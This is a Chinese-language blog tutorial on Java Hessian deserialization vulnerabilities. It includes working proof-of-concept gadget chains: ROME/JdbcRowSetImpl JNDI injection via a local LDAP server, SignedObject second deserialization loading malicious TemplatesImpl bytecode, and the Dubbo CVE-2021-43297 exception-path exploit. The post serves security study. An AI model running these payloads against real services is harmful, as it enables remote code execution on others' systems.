Hessian反序列化

Hessian

RPC协议

RPC全称为Remote Procedure Call Protocol(远程调用协议),RPC和之前学的RMI十分类似,都是远程调用服务,它们不同之处就是RPC是通过标准的二进制格式来定义请求的信息,这样跨平台和系统就更加方便
RPC协议的一次远程通信过程如下:

  • 客户端发起请求,并按照RPC协议格式填充信息
  • 填充完毕后将二进制格式文件转化为流,通过传输协议进行传输
  • 服务端接收到流后,将其转换为二进制格式文件,并按照RPC协议格式获取请求的信息并进行处理
  • 处理完毕后将结果按照RPC协议格式写入二进制格式文件中并返回

Hessian类似于RMI也是一种RPC工具,用来将对象序列化或反序列化。官方对Java、Python、C++......语言都进行了实现,Hessian一般在Web服务中使用,在Java里它的使用方法很简单,它定义远程对象,并通过二进制的格式进行传输。

JDK自带的序列化方式,使用起来非常方便,只需要序列化的类实现了Serializable接口即可。JDK序列化会把对象类的描述和所有属性的元数据都序列化为字节流,另外继承的元数据也会序列化,所以导致序列化的元素较多且字节流很大,但是由于序列化了所有信息所以相对而言更可靠。但是如果只需要序列化属性的值时就比较浪费。其次,由于这种方式是JDK自带,无法被多个语言通用。

和JDK自带的序列化方式类似,Hessian采用的也是二进制协议,只不过Hessian序列化之后,字节数更小,性能更优。目前Hessian已经出到2.0版本,相较于1.0的Hessian性能更优。相较于JDK自带的序列化,Hessian的设计目标更明确。

Hessian 协议具有以下设计目标:

  • 它必须自我描述序列化类型,即不需要外部架构或接口定义。
  • 它必须与语言无关,包括支持脚本语言。
  • 它必须在一次传递中可读或可写。
  • 它必须尽可能紧凑。
  • 它必须简单,以便可以有效地测试和实施。
  • 它必须尽可能快。
  • 它必须支持 Unicode 字符串。
  • 它必须支持 8 位二进制数据,而无需转义或使用附件。
  • 它必须支持加密、压缩、签名和事务上下文信封( transaction context envelopes )。

依赖

<dependency>
    <groupId>com.caucho</groupId>
    <artifactId>hessian</artifactId>
    <version>4.0.63</version>
</dependency>
<dependency>
    <groupId>rome</groupId>
    <artifactId>rome</artifactId>
    <version>1.0</version>
</dependency>

各种反序列化机制

借此来了解一下反序列化机制

在Java中,序列化能够将一个Java对象转换为一串便于传输的字节序列。而反序列化与之相反,能够从字节序列中恢复出一个对象。参考marshalsec.pdf,我们可以将序列化/反序列化机制分大体分为两类

  • 基于Bean属性访问机制
  • 基于Field机制

基于Bean属性访问机制

  • SnakeYAML
  • jYAML
  • YamlBeans
  • Apache Flex BlazeDS
  • Red5 IO AMF
  • Jackson
  • Castor
  • Java XMLDecoder

它们最基本的区别是如何在对象上设置属性值,它们有共同点,也有自己独有的不同处理方式。有的通过反射自动调用getter(xxx)setter(xxx)访问对象属性,有的还需要调用默认Constructor,有的处理器(指的上面列出来的那些)在反序列化对象时,如果类对象的某些方法还满足自己设定的某些要求,也会被自动调用。还有XMLDecoder这种能调用对象任意方法的处理器。有的处理器在支持多态特性时,例如某个对象的某个属性是Object、Interface、abstruct等类型,为了在反序列化时能完整恢复,需要写入具体的类型信息,这时候可以指定更多的类,在反序列化时也会自动调用具体类对象的某些方法来设置这些对象的属性值。

这种机制的攻击面比基于Field机制的攻击面大,因为它们自动调用的方法以及在支持多态特性时自动调用方法比基于Field机制要多。

基于Field机制

基于Field机制的反序列化是通过特殊的native(方法或反射(最后也是使用了native方式)直接对Field进行赋值操作的机制,而不是通过getter、setter方式对属性赋值。

  • Java Serialization
  • Kryo
  • Hessian
  • json-io
  • XStream

HessianDemo

先写一个标准JavaBean测试用

package hessian;

import java.io.Serializable;

public class Person implements Serializable {
    public String name;
    public int age;

    public Person() {
    }

    public Person(String name, int age) {
        this.name = name;
        this.age = age;
    }

    public int getAge() {
        return age;
    }

    public String getName() {
        return name;
    }

    public void setAge(int age) {
        this.age = age;
    }

    public void setName(String name) {
        this.name = name;
    }
}
package hessian;

import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import static hessian.Tools.*;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.util.Base64;

public class hessianDemo {
    public static void main(String[] args) throws IOException {
        Person person = new Person("aaa",18);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        HessianOutput hessianOutput = new HessianOutput(byteArrayOutputStream);
        hessianOutput.writeObject(person);
        System.out.println(new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray())));

        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
        HessianInput hessianInput = new HessianInput(byteArrayInputStream);
        System.out.println(hessianInput.readObject());
    }
}

基本原理

Hessian反序列化漏洞的关键出在HessianInput#readObject,由于Hessian会将序列化的结果处理成一个Map,所以序列化结果的第一个byte总为M(ASCII为77)。跟进readObject()

2025-03-11T13:19:35.png

2025-03-11T13:19:35.png

对象在进行 Hessian 反序列化过程中,会调用com.caucho.hessian.io.Deserializer#readMap()方法来恢复对象,其中会调用HashMap#put()

跟进readMap()

2025-03-11T13:19:44.png

2025-03-11T13:19:44.png

这里进到最后一个else(进第一个if,通过getDeserializer()来获取一个deserializer,后面也会触发put()的操作)

2025-03-11T13:19:52.png

2025-03-11T13:19:52.png

调用HashMap#put(),后续代码能够触发任意类的hashcode()方法

利用链

ROME 之 JdbcRowSetImpl 链

纯ROME链:“哦兄弟?你和我长的有点像哈”

JdbcRowSetImpl 链核心是ToStringBean#toString()会调用其封装类的所有无参 getter方法,可以借助 JdbcRowSetImpl#getDatabaseMetaData() 方法触发 JNDI 注入。

这里用hashcode()触发ROME

触发调用是通过HashMap在 put 键值对会调用HashMap<K,V>.hash(Object)方法校验重复key,从而调用ObjectBean.hashCode()

python -m http.server 7777
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:7777/#test 9999
package hessian;

import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.util.Base64;
import java.util.HashMap;

import static hessian.Tools.*;

public class hessian_rome_jdbc {
    public static void main(String[] args) throws Exception {
        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
        String url = "ldap://127.0.0.1:9999/test";
        jdbcRowSet.setDataSourceName(url);

        ToStringBean bean = new ToStringBean(JdbcRowSetImpl.class, jdbcRowSet);
        ObjectBean objectBean = new ObjectBean(String.class, "whatever");
        HashMap map = new HashMap();
        map.put(objectBean, "");
        setFieldValue(objectBean, "_equalsBean", new EqualsBean(ToStringBean.class, bean));

        //序列化
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        HessianOutput hessianOutput = new HessianOutput(byteArrayOutputStream);
        hessianOutput.writeObject(map);
        hessianOutput.close();
        System.out.println(new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray())));

        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
        HessianInput hessianInput = new HessianInput(byteArrayInputStream);
        hessianInput.readObject();
        hessianInput.close();
    }
}

这里解释一下为什么不能使用TemplatesImpl去作为入口.来看一下_tfacotry的定义.

private transient TransformerFactoryImpl _tfactory = null;

其中含有transient字段,意味着这个属性是不可序列化的。

但是在TemplatesImplreadObject中对这个属性有相应的处理.

_tfactory = new TransformerFactoryImpl();

但是Hessian使用的是自定义的readObject,因此没有这行代码,会导致_tfactory为null。在TemplatesImpl#defineTransletClasses()方法里有调用到 _tfactory.getExternalExtensionsMap(),如果是null会出错,因此无法直接利用此链

ROME+SignObject二次反序列化

java.security.SignedObject

public SignedObject(Serializable object, PrivateKey signingKey,
                    Signature signingEngine)
    throws IOException, InvalidKeyException, SignatureException {
        // creating a stream pipe-line, from a to b
        ByteArrayOutputStream b = new ByteArrayOutputStream();
        ObjectOutput a = new ObjectOutputStream(b);

        // write and flush the object content to byte array
        a.writeObject(object);
        a.flush();
        a.close();
        this.content = b.toByteArray();
        b.close();

        // now sign the encapsulated object
        this.sign(signingKey, signingEngine);
}

在其构造方法中,将传入的对象序列化为字节数组,并存储到content属性中。

getObject()中就是个原生反序列的流程

public Object getObject()
    throws IOException, ClassNotFoundException
{
    // creating a stream pipe-line, from b to a
    ByteArrayInputStream b = new ByteArrayInputStream(this.content);
    ObjectInput a = new ObjectInputStream(b);
    Object obj = a.readObject();
    b.close();
    a.close();
    return obj;
}

so:

package hessian;

import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.security.*;
import java.util.Base64;
import java.util.HashMap;

import static hessian.Tools.*;

public class SignedObject_Rome {
    public static void main(String[] args) throws Exception {
        byte[] code = getBytes("hessian.evil");
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj,"_name","whatever");
        setFieldValue(obj,"_bytecodes",new byte[][]{code});
        setFieldValue(obj,"_class",null);

        ToStringBean bean = new ToStringBean(Templates.class, obj);
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(123);
        setFieldValue(badAttributeValueExpException,"val",bean);

        KeyPairGenerator keyPairGenerator;
        keyPairGenerator = KeyPairGenerator.getInstance("DSA");
        keyPairGenerator.initialize(1024);
        KeyPair keyPair = keyPairGenerator.genKeyPair();
        PrivateKey privateKey = keyPair.getPrivate();
        Signature signingEngine = Signature.getInstance("DSA");
        // 设置二次反序列化入口
        SignedObject signedObject = new SignedObject(badAttributeValueExpException, privateKey, signingEngine);

        // 下面是常规构造
        ToStringBean toStringBean2 = new ToStringBean(SignedObject.class, signedObject);
        ObjectBean objectBean2 = new ObjectBean(String.class, "whatever");

        HashMap map = new HashMap();
        map.put(objectBean2, "");

        setFieldValue(objectBean2, "_equalsBean", new EqualsBean(ToStringBean.class, toStringBean2));

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        HessianOutput hessianOutput = new HessianOutput(byteArrayOutputStream);
        hessianOutput.writeObject(map);
        hessianOutput.close();
        System.out.println(new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray())));

        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
        HessianInput hessianInput = new HessianInput(byteArrayInputStream);
        hessianInput.readObject();
        hessianInput.close();
    }
}

生成SignedObject构造方法所必要的参数,就这样

        KeyPairGenerator keyPairGenerator;
        keyPairGenerator = KeyPairGenerator.getInstance("DSA");
        keyPairGenerator.initialize(1024);
        KeyPair keyPair = keyPairGenerator.genKeyPair();
        PrivateKey privateKey = keyPair.getPrivate();
        Signature signingEngine = Signature.getInstance("DSA");

Apache Dubbo Hessian2 异常处理时反序列化(CVE-2021-43297)

Apache Dubbo 是一款高性能的开源Java RPC框架。支持多种传输协议,例如dubbo(Dubbo Hessian2)、Hessian、RMI、HTTP等。在某些版本下,Apache Dubbo默认使用的反序列化工具 hessian 中存在反序列化漏洞,攻击者可以通过发送恶意 RPC 请求来触发该漏洞。

2025-03-11T13:20:08.png

2025-03-11T13:20:08.png

影响环境:Apache Dubbo<=2.7.14

如果Hessian2进行反序列化时抛出异常,则会进行字符串拼接操作,进而调用obj的toString()方法。类似的拼接在许多类中都有涉及,这里方便利用的是Hessian2Input.except方法。

protected IOException expect(String expect, int ch) throws IOException {
    if (ch < 0) {
        return this.error("expected " + expect + " at end of file");
    } else {
        --this._offset;

        try {
            int offset = this._offset;
            String context = this.buildDebugContext(this._buffer, 0, this._length, offset);
            Object obj = this.readObject();
            return obj != null ? this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255) + " " + obj.getClass().getName() + " (" + obj + ")\n  " + context + "") : this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255) + " null");
        } catch (Exception var6) {
            log.log(Level.FINE, var6.toString(), var6);
            return this.error("expected " + expect + " at 0x" + Integer.toHexString(ch & 255));
        }
    }
}

关键在于构造出一段畸形的恶意序列化流,使其在反序列化过程中抛出异常进入Hessian2Input.except中的字符串拼接

很多read打头的方法都调用了except方法,那就找一条能用的就行,这里选用的是readString()

public String readString() throws IOException {
    int tag = this.read();
    int ch;
    switch (tag) {
        case 0:
        case 1:
        case 2:
        case 3:
        case 4:
        
        // ...
            
        case 31:
            this._isLastChunk = true;
            this._chunkLength = tag - 0;
            this._sbuf.setLength(0);

            while((ch = this.parseChar()) >= 0) {
                this._sbuf.append((char)ch);
            }

            return this._sbuf.toString();
        case 32:
        case 33:
        case 34:
        case 35:
        case 36:
        case 37:
        case 38:
        case 39:
        case 40:
        case 41:
        case 42:
        case 43:
        case 44:
        case 45:
        case 46:
        case 47:
        case 52:
        case 53:
        case 54:
        case 55:
        case 64:
        case 65:
        case 66:
        case 67:
        case 69:
        case 71:
        case 72:
        case 74:
        case 75:
        case 77:
        case 79:
        case 80:
        case 81:
        case 85:
        case 86:
        case 87:
        case 88:
        case 90:
        case 96:
        case 97:
        case 98:
        
        // ...
            
        case 127:
        default:
            throw this.expect("string", tag);
        case 48:
        case 49:
            
        // ...
    }
}

如果tag满足case 32:及以下到default:的任何一个条件或者完全不满足任何一个default:之前的条件语句,也就是说让tag在switch语句中失配,就会进入default分支的except方法

查看哪里调用了readString(),可以找到readObjectDefinition(),恰好这个方法当tag等于67时会被readObject()调用,那这里就连起来了

private void readObjectDefinition(Class<?> cl) throws IOException {
    String type = this.readString();
    int len = this.readInt();
    SerializerFactory factory = this.findSerializerFactory();
    Deserializer reader = factory.getObjectDeserializer(type, (Class)null);
    Object[] fields = reader.createFields(len);
    String[] fieldNames = new String[len];

    for(int i = 0; i < len; ++i) {
        String name = this.readString();
        fields[i] = reader.createField(name);
        fieldNames[i] = name;
    }

    ObjectDefinition def = new ObjectDefinition(type, reader, fields, fieldNames);
    this._classDefs.add(def);
}

如何让tag为67了,可以重写 writeString 指定第一次 read 的 tag 为 67, 还可以给序列化得到的bytes数组前加一个67

package hessian;
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.ToStringBean;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.sql.SQLException;

public class Dubbo_Hessian2_rome_jdbc {
    public static void main(String[] args) throws IOException, SQLException {
        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
        String url = "ldap://localhost:9999/test";
        jdbcRowSet.setDataSourceName(url);
        ToStringBean bean = new ToStringBean(JdbcRowSetImpl.class, jdbcRowSet);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);
        hessian2Output.writeObject(bean);
        hessian2Output.close();
        byte[] data = byteArrayOutputStream.toByteArray();
        byte[] poc = new byte[data.length + 1];
        System.arraycopy(new byte[]{67}, 0, poc, 0, 1);
        System.arraycopy(data, 0, poc, 1, data.length);

        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(poc);
        Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream);
        System.out.println(hessian2Input.readObject());
        hessian2Input.close();
    }
}

这样就可以调用任意类的toString()方法,这里用的rome。

在通信时dubbo客户端会使用decode函数从客户端传来的二进制流中逐步获取RPC信息

 public Object decode(Channel channel, InputStream input) throws IOException {
        ObjectInput in = CodecSupport.getSerialization(channel.getUrl(), this.serializationType).deserialize(channel.getUrl(), input);
        //获取版本信息
        String dubboVersion = in.readUTF();
        this.request.setVersion(dubboVersion);
        this.setAttachment("dubbo", dubboVersion);
        //获取路径
        String path = in.readUTF();
        setAttachment(PATH_KEY, path);
        setAttachment(VERSION_KEY, in.readUTF());
 
...

最后的readUTF方法调用了readString。然后就是构造出畸形的序列化数据,让readString进入except方法。

最后修改:2025 年 03 月 12 日
如果觉得我的文章对你有用,请随意赞赏